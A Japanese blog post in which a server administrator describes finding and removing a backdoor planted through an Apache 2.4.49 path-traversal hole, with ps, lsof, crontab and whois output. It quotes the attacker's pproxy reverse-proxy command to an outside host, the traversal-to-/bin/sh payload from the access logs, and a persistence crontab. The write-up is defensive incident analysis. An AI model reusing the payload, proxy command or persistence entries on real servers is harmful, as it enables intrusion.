非常に腹立たしいことですが、私が管理しているサーバーのうち一台に侵入されて、バックドアを仕掛けられていました。
遠隔地に置いてあるサーバー上で作業を行っていて、ps コマンドを発行したところ、覚えのないプロセスが表示されました。
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND www 2000 0.0 0.1 6668 1736 - I 12:00 0:01.44 sh .src.sh www 10567 0.0 0.8 21176 16284 - S 22:43 0:02.08 ./python -m pproxy -l socks5+in://116.203.212.184:10222/@xxx.yyy.zzz.xxx,#pproxy:DRuIm www 10568 0.0 0.1 3960 1356 - IC 22:43 0:00.00 sleep 300
何？このプロセス。（xxx.yyy.zzz.xxx はバックドアを仕掛けられたサーバーのIPアドレス。）
Apacheモジュールと依存関係があるプロセス？
確認のため、WWWサーバーを落としてみました。しかしプロセスは止まらない。
pythonは依存関係でインストールされていますが、私が使うことはありません。まずは、プロセスを停止させる必要がありますが、だたプロセスをKILLすればいいものではありません。原因調査しないといけないし、再発しないようにしないといけない。
まずは、この怪しいプロセスがどこで動いているかを知る必要があります。
ps コマンドの結果からわかる通り、www ユーザーの権限で動いています。そもそも www は httpd を動かすための権限で、apacheを停止させた後動いていることはおかしい。オプションツールの lsof を使って、wwwユーザーが使っているリソースを表示させました。
# lsof | grep www sh 2000 www cwd VDIR 0,114 512 1364488 /var/tmp/.log/101068/.spoollog sh 2000 www rtd VDIR 0,114 1024 2 / sh 2000 www 0r VCHR 0,36 0t0 36 /dev/null sh 2000 www 1w VCHR 0,36 0t0 36 /dev/null sh 2000 www 2w VCHR 0,36 0t0 36 /dev/null sh 2000 www 10r VREG 0,114 9087 1366614 /var/tmp/.log/101068/.spoollog/.src.sh python3.8 10567 www cwd VDIR 0,114 512 1364654 /var/tmp/.log/101068/.spoollog/.api/.mnc/bin python3.8 10567 www rtd VDIR 0,114 1024 2 / python3.8 10567 www 0r VCHR 0,36 0t0 36 /dev/null python3.8 10567 www 1w VCHR 0,36 0t0 36 /dev/null python3.8 10567 www 2w VCHR 0,36 0t0 36 /dev/null python3.8 10567 www 3r VCHR 0,8 0t2496 8 /dev/random python3.8 10567 www 4u KQUEUE 0xcb76a500 count=0, state=0x2 python3.8 10567 www 5u unix 0xc85b3210 0t0 ->0xc85f2420 python3.8 10567 www 6u unix 0xc85f2420 0t0 ->0xc85b3210 python3.8 10567 www 7u IPv4 0xc8323000 0t0 TCP aaa.bbb.mydomain.jp:31885->static.184.212.203.116.clients.your-server.de:10222 (ESTABLISHED) sleep 10660 www cwd VDIR 0,114 512 1364488 /var/tmp/.log/101068/.spoollog sleep 10660 www rtd VDIR 0,114 1024 2 / sleep 10660 www 0r VCHR 0,36 0t0 36 /dev/null sleep 10660 www 1w VCHR 0,36 0t0 36 /dev/null sleep 10660 www 2w VCHR 0,36 0t0 36 /dev/null
これで手口が見えてきました。
/var/tmp を ls -a で表示したところ、
drwxrwxrwt 5 root wheel 512 12月 22 22:38 .
drwxr-xr-x 26 root wheel 512 5月 20 2021 ..
drwxr-xr-x 102 www wheel 2048 11月 14 10:25 .log
drwx------ 2 root wheel 512 1月 19 2020 portupgradeXcWxnCkr
drwxrwxrwt 2 root wheel 512 12月 24 22:45 vi.recover
と表示され、非表示ディレクトリーが隠されています。多分バックドアでしょう。
この下にプログラムが置かれているので、まず、それを無効化する必要があります。
無効化する手段は二つ。
- 実行権を奪う
- ディレクトリー名を変えて、PATHが通らなくする。
作業は管理者で行う必要があるので、両方行います。
「chmod -R -xr .log」 で実行権を奪い、www ユーザーからも読みだせなくします。
続いて、.log をリネームして、存在自体を消します。その後、プロセスをkill して止めます。
これで外部との接続が切れましたのでゆっくり解析します。
どうやってこんなプログラムを仕掛けたの？
想像はつきます。www の権限で動いていたということは、Apache 2.4 の脆弱性を突かれたものだと思います。
普段なら、セキュリティーホールは、パッチがリリースされて数日以内にインストールするので、無防備状態のまま運用することはないのですが、今回はFreeBSD11.4のサポート切れにしばらく気が付かず、サポート切れがわかった後も、OS更新することができず、Apacheをソースからビルドした場合、Apacheを起動できないという現象に見舞われ、脆弱性がある状態で約2か月運用していました。
その隙を突かれたようです。
では、いつ、侵入されたのか？
詳しいことはわかりませんが、ディレクトリーの作成日とその下のファイルを見たところ、2021/11/14 10:25 頃と思われます。
httpd ログファイルを見てみると、同時刻あたりに、下行のような文字列がたくさん残っています。
static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:10:11:14 +0900] "POST /cgi-in/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 9 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:10:13:51 +0900] "POST /cgi-in/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 11 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:10:25:29 +0900] "POST /cgi-in/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 5 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:12:12:23 +0900] "POST /cgi-in/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 24 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [28/Nov/2021:02:09:29 +0900] "POST /cgi-in/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 8 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [29/Nov/2021:01:55:25 +0900] "POST /cgi-in/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 9 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [29/Nov/2021:01:57:23 +0900] "POST /cgi-in/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 - "-" "curl/7.79.1"
Apache の脆弱性を突いた攻撃のようです。
IPAやJPCERTのページを確認してみたところ、
https://www.nri-secure.co.jp/blog/apache-http-server-vulnerability
https://www.jpcert.or.jp/at/2021/at210043.html
が見つかりました。やべぇ。対象バージョンだ。
# httpd -v Server version: Apache/2.4.49 (FreeBSD) Server built: unknown
OSの穴じゃなくて、運用しているサービスの穴を突かれたようです。
次に知りたいのは、
1.
sh .src.sh
と
2.
./python -m pproxy -l socks5+in://116.203.212.184:10222/@xxx.yyy.zzz.xxx,#pproxy:DRuIm
が何をしているのか？ってこと。（xxx.yyy.zzz.xxx はバックドアを仕掛けられたサーバーのIPアドレス。）
.src.sh の中身を見てみたところ、こいつは、www ユーザーの crontab を監視して、サーバー再起動時や何らかの要因でプロセスが止まってしまった場合に、自動再起動するように crontab を生成する役目のようです。
こんな感じで、www アカウントにcrontabが設置されていました。コマンド実行に失敗しても足が付かないように出力を /dev/null に捨てるようにしています。
# crontab -l -u www PATH=/sbin:/bin:/usr/sbin:/usr/bin HOME=/var/tmp/.log/10106/.spoollog MAILTO="" 0 */12 * * * cd /var/tmp/.log/10106/.spoollog && sh .cron.sh > /dev/null 2>&1 & @reboot cd /var/tmp/.log/10106/.spoollog && sh .cron.sh > /dev/null 2>&1 &
2に関しては、今のところわかりません。
116.203.212.184 というのがバックドアと通信するサーバーのIPアドレス。「static.184.212.203.116.clients.your-server.de」というログの中でいつも目にする犯罪温床ホストサービスで、.de なのでドイツのドメインを名乗っていますが、whois で確認してみると、
inetnum: 116.202.0.0 - 116.203.255.255 netname: STUB-116-202SLASH15 descr: Transferred to the RIPE region on 2018-08-27T14:42:34Z. country: ZZ admin-c: STUB-AP tech-c: STUB-AP status: ALLOCATED PORTABLE mnt-by: APNIC-STUB mnt-irt: IRT-STUB-AP last-modified: 2019-09-30T00:15:24Z source: APNIC
なので、アジアに割り当てられているIPアドレスです。
ドイツの会社が運営しているアジアのデータセンター内のサーバー？これが乗っ取られているのか、踏み台にされているのか。この、your-server.de というドメインは、日常的にポートスキャンやらログインやらを試みてくる輩ばかりで、日本にある私のサーバーなら一切接続を断ち切っても何の影響もないのですが、今回のサーバーではその設定をし忘れていました。
さて、私が管理している他のサーバーはどうなのか？
/var/tmp の下を覗いてみましたが、バックドアはありませんでした。また、上記のようなプロセスも動いていません。理由は、残り4台のうち2台は、外部提供用のHTTPサービスが動いていなかったため。あとの2台は、ファイヤーウォールがブロックしたものと思います。用途が違うため、設定が違っていることが侵入を受けなかった理由のようです。
しかしな～、侵入されて、バックドアを仕掛けられてしまうとは、情けない。ちなみに、侵入を受けたサーバーは、バックアップDNS兼テスト用のサーバーで、このブログシステムとは違うものです。FreeBSDの場合、wwwユーザーの権限を奪取しても、wwwユーザーがアクセスできる範囲は限定的なので、大したことはないと思っています。そもそも、私のデータ以外は置いてないですからね。
とは言うものの、現状を維持しておいて、あとでもうちょっとじっくり見る必要があります。
でもまあ、こうやって侵入するんだ～という一例の全データは入手できましたので、今後の糧としましょう。